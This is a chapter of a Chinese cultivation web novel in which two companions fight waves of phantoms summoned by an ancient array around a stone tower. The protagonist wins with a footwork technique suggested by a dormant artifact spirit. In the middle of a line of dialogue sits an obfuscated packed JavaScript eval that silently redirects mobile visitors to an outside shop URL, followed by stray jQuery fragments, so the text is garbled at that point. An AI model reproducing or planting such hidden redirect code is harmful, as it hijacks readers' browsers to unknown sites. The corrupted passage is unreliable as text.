沈墨渊盯着那座石塔,看了很久。
塔身的符文在暗红天光下闪烁,像活物在呼吸。那道金光太淡了,淡到几乎看不见,但他确定——器灵碎片就在那里。
“走吧。”云澈说,迈步往前。
沈墨渊跟上去,脚下的枯骨咔嚓作响,碎成粉末,白灰扬起来,沾在靴面上。
两人一前一后,踩着骨头往前走。
葬灵渊第一层比想象中大得多。暗红的天空压在头顶,像一口倒扣的锅,大地龟裂成无数块,裂缝里冒着黑气,带着一股腐烂的甜味。那些枯骨堆得到处都是,有的还保持着死前的姿势——有人跪在地上,双臂前伸,像在求饶;有人趴着,脊骨断裂,脑袋扭到一个不可能的角度;还有一些,手骨握着残破的法器,在最后一刻还在战斗。
沈墨渊扫了一眼那些法器。
有一柄断剑插在一具骷髅的胸腔里,剑身锈蚀得几乎只剩剑柄。有一面铜镜碎成十几片,散落在几丈范围内,其中一片映照出他的脸——脸色发白,额头上全是汗。
他收回眼神,继续走。
越靠近石塔,空气越沉。
不是那种压在心口上的沉,而是一种——像有什么东西在拽着他的,每走一步都像踩在泥沼里。灵气在经脉里流转的速度也变慢了,似乎被什么东西阻滞了一样。
“感觉到了?”云澈忽然问。
“嗯。”
“这是阵法。”云澈说,脚步没停,“上古时期留下的困杀阵,覆盖了整个第一层。越靠近核心,压制越强。”
沈墨渊没接话,只是加快脚步跟上。
又走了一刻钟。
石塔越来越近,近到他能看清塔身上那些符文的细节——每一道符文都刻得很深,边缘磨得光滑,像被人用手指反复摩挲过。符文的线条错综复杂,交织成一张巨大的网,从塔底一直蔓延到塔顶。
沈墨渊凝神看了一会儿。
那些符文好像……在动。
他停下脚步,盯着最近的一道符文看了三秒。
没错,在动。
符文好像一条活的蛇,在石壁上慢慢蠕动,每蠕动一下,就换一个形状。换完之后,又从黑色变成了暗红色,似乎刚用血描过一遍。
“别看了。”云澈的嗓音从前面传来,“那是阵眼。”
沈墨渊抬起头,发现云澈已经走到了石塔的入口处。
入口是一道石门,没有门板,里面漆黑一片,什么都看不见。云澈站在门口,没有进去,而是转过身看着他,表情有些古怪。
“怎么了?”沈墨渊问。
“你过来看看。”
沈墨渊走过去,站在云澈旁边,探头往里看了一眼。
黑洞洞的,什么都看不见。
“里面有什么?”
“不是里面。”云澈说,举手指了指地面,“你看脚下。”
沈墨渊垂眼。
脚下的地面——那些龟裂的、干涸的、布满枯骨的地面——忽然亮了起来。
一道又一道符文从地面浮现,从暗红变成亮红,再变成金黄,好像一盏又一盏灯被逐一点亮。那些符文沿着裂缝蔓延,交织,连接,不到十个呼吸的时间,以石塔为中心,方圆百丈的地面全部被金色的符文覆盖。
沈墨渊的瞳孔忽然收缩。
“退!”
云澈喊了一声,一把推开他。
沈墨渊被推得趔趄几步,刚站稳,就看到石塔周围的符文一下子亮了起来——那种亮不是光,而是像火焰一样喷薄而出的热浪,带着一股古老而暴虐的味道,迎面扑来。
嗡——
一声沉闷的巨响从地面下传来,震得沈墨渊的耳膜发疼。
紧接着,金色的光芒冲天而起,形成一个巨大的光罩,将他们罩在里面。
沈墨渊地往后退了一步,但光罩的边缘就在他身后不到三步的地方,他已经退无可退了。
“阵法启动了。”云澈的嗓音从前面传来,语气里带着一丝凝重,“小心。”
话音刚落,那些符文之间忽然涌出一团又一团黑影。
黑影扭曲着,膨胀着,渐渐凝聚成人形——
幻影。
一个,两个,十个,百个。
无数幻影从地面下钻出来,浑身笼罩着黑雾,看不清脸,只有一双双猩红的眼睛在黑雾中燃烧。它们发出低沉的嘶吼,话像破烂的风箱,嘶哑而绝望。
沈墨渊握紧拳头。
一个幻影朝他扑过来,速度快得像一道影子。
沈墨渊侧身躲开,一拳砸过去。
破厄拳。
拳锋砸在幻影身上,黑雾四散,幻影发出一声凄厉的惨叫,化为黑烟消散。
但还没等他松一口气,又有两个幻影从左右两侧同时扑上来。
沈墨渊一拳打碎左边的,一个肘击砸在右边那个的胸口上。第二个幻影也碎了,但它的手抓到了沈墨渊的手臂,留下了三道血痕。
沈墨渊后退一步,垂眼看了一眼手臂上的伤口。
三道血痕,不深,但火辣辣地疼,像被火烧过一样。
他的扫过去——
前方,至少有三十个幻影正朝这边涌来。
“你顶住!”云澈的话从侧面传来,带着一阵剑鸣,“我先把这边清一清!”
沈墨渊转头看了一眼,看见云澈正被二十几个幻影围在中间,太虚剑诀施展开来,剑光如水,一剑扫过去就有三四个幻影被拦腰斩断。但幻影源源不断地从地面下冒出来,打碎一个冒出两个,打碎两个冒出四个,怎么杀都杀不完。
沈墨渊收回眼神,深吸一口气,一拳砸向面前最近的那个幻影。
嘭。
碎了。
但紧接着,更多幻影涌上来,密密麻麻,像蝗虫一样。
沈墨渊一拳接一拳,破厄拳的拳风在黑暗中呼啸,每一拳都砸碎一个幻影。但幻影太多了,他的体力在快速消耗,呼吸变得急促,额头上全是汗。
又打碎一个,身后立刻补上来两个。
左臂被幻影抓了一道,袖口撕裂,皮肤上留下四道深深的血痕。
右肩被撞了一下,身体一歪,差点摔倒。
大腿上也被抓了一下,鲜血渗出来,染红了裤腿。
沈墨渊咬了咬牙,继续打。
但他感觉到自己的拳头越来越重了——不是拳头重,是手臂重,是身体重,是浑身的力气像被抽空了一样。
啪。
又一个幻影在他面前破碎。
但接下来,三个幻影同时扑上来,他躲开一个,挡开一个,第三个直接撞在他胸口上。
沈墨渊整个人倒飞出去,背部重重地撞在光罩上,发出一声闷响。
他滑落在地,嘴里尝到一股腥甜。
“你怎么样?”云澈的传来,带着一丝焦急。
沈墨渊没回答,挣扎着爬起来。
眼前,至少五十个幻影已经将他包围了。
沈墨渊握紧拳头,手上全是血。
完了。
刚冒出这个念头,脑海中忽然响起一个话——
“用《雷影步》
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17570372|204904||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
……配合破厄拳……”
那很虚弱,像从很远的地方传来,断断续续的。
但沈墨渊认出了它。
器灵。
沈墨渊愣了一瞬,随即反应过来,也没有多想,直接催动《雷影步》,身影一闪——
快。
那是一种很奇异的感觉——他的身体好像变成了一道影子,在幻影之间穿梭,每一步都踩在最合适的落点上,像提前计算好了一样。
然后,破厄拳击出。
不是站在原地出拳,而是在移动中出拳。
一拳。
幻影破碎。
脚步不停,身影一拧,再一拳。
两个幻影同时破碎。
沈墨渊的眼睛亮了。
他的脚步越来越快,人影在幻影之间穿梭如风,每一次出拳都精准地砸在幻影的要害上。破厄拳的刚猛与雷影步的灵动结合在一起,产生了一种奇妙的化学反应——他不再被幻影围攻了,而是他在追逐幻影。
嘭。
嘭嘭嘭。
一个接一个幻影在他面前破碎,化为黑烟消散。
不到半炷香的时间,他周围的幻影已经被清空了大半。
沈墨渊停下来,喘着粗气,嘴角却忍不住上扬。
成了。
“你……”云澈的嗓音从不远处传来,带着一丝惊讶,“那是什么步法?”
沈墨渊没有回答,继续出拳。
一拳接一拳,雷影步与破厄拳的配合越来越流畅,似乎练过无数遍一样。他的身体在幻影之间穿梭,拳风呼啸,打得那些幻影毫无还手之力。
最后一个幻影破碎时,地面上的金色符文一下子暗了下去。
光罩消散了。
一切归于沉寂,只剩下他粗重的呼吸声。
沈墨渊双腿一软,直接瘫坐在地上。
浑身的力气被抽干了,手臂发软,连握拳的力气都没有了。那些伤口在火辣辣地疼,血顺着指头滴落,在地面上洇开一小片暗红。
但他没有去看伤口。
他垂眼,看着右手腕内侧那道印记。
印记正在稍稍发烫,温度不高,像一块被太阳晒过的石头贴在皮肤上。很微弱,但确确实实在发热。
沈墨渊抬起手,盯着那道印记,低声说:“器灵,你醒了?”
没有回应。
但他感觉到印记中传来一丝微弱的波动——像心跳,又像脉搏,震了一下,然后沉寂下去。
器灵还在沉睡。
刚才那一一下子,它用自己的力量帮了他一把。
“谢了。”沈墨渊低声说。
他撑着地面站起来,浑身酸疼,双腿打颤。
云澈从另一边走过来,衣服上有几道破口,头发也有些散乱,但看起来没受什么伤。他看着沈墨渊,眼神里带着一丝说不清道不明的东西。
“你那步法,叫什么?”云澈问。
“雷影步。”
“哪学的?”
“捡的。”
云澈沉默了几秒,忽然笑了一下:“你还真是什么都能捡着。”
沈墨渊没接话,转头看向石塔。
入口的石门还在那里,黑洞洞的,看不出里面有什么。
他正要开口说进去——
一股巨大的吸力忽然从塔内涌出,像一只无形的大手,拽住了他的衣领。
沈墨渊整个人被吸得腾空而起,朝着石门飞去。
“操——”
他甚至来不及喊完,整个人就被吸进了黑暗里。